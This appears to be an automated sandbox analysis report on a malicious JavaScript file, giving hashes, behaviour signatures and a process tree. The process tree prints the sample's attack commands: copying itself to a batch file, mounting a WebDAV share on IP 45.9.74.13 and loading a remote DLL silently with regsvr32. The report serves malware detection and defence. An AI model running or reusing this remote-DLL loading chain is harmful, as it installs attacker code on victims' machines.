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Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 07:09

General

  • Target

    24752105182368524003.js

  • Size

    5KB

  • MD5

    66517b60fe65d9a170581414379aca00

  • SHA1

    fe63aaa8edae65cbf7404d3a18f86001221d955d

  • SHA256

    a3c1bc57dd06208be96b7cebd1764bc5278395ea65b9900b07b95c565a3e9e3a

  • SHA512

    40cb5305d425fc4cc683f41d330c5e22d67172ec67f613ccf5fc3932369ec520a892044e234424dfc57b8f7b727d9eef6d34902737f08d5972aaeed8de392965

  • SSDEEP

    96:HDA1ACkQv+nn+nK3LfNyiEWSUKmVf0VoIQJ16zNUmMpg1xlck3g1xlb:06QWn+nIRy5PgZb6zNjuglck3glb

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\24752105182368524003.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\24752105182368524003.js" "C:\Users\Admin\\xputuf.bat" && "C:\Users\Admin\\xputuf.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3828
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\386.dll
          3⤵
            PID:4436

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\xputuf.bat

        Filesize

        5KB

        MD5

        66517b60fe65d9a170581414379aca00

        SHA1

        fe63aaa8edae65cbf7404d3a18f86001221d955d

        SHA256

        a3c1bc57dd06208be96b7cebd1764bc5278395ea65b9900b07b95c565a3e9e3a

        SHA512

        40cb5305d425fc4cc683f41d330c5e22d67172ec67f613ccf5fc3932369ec520a892044e234424dfc57b8f7b727d9eef6d34902737f08d5972aaeed8de392965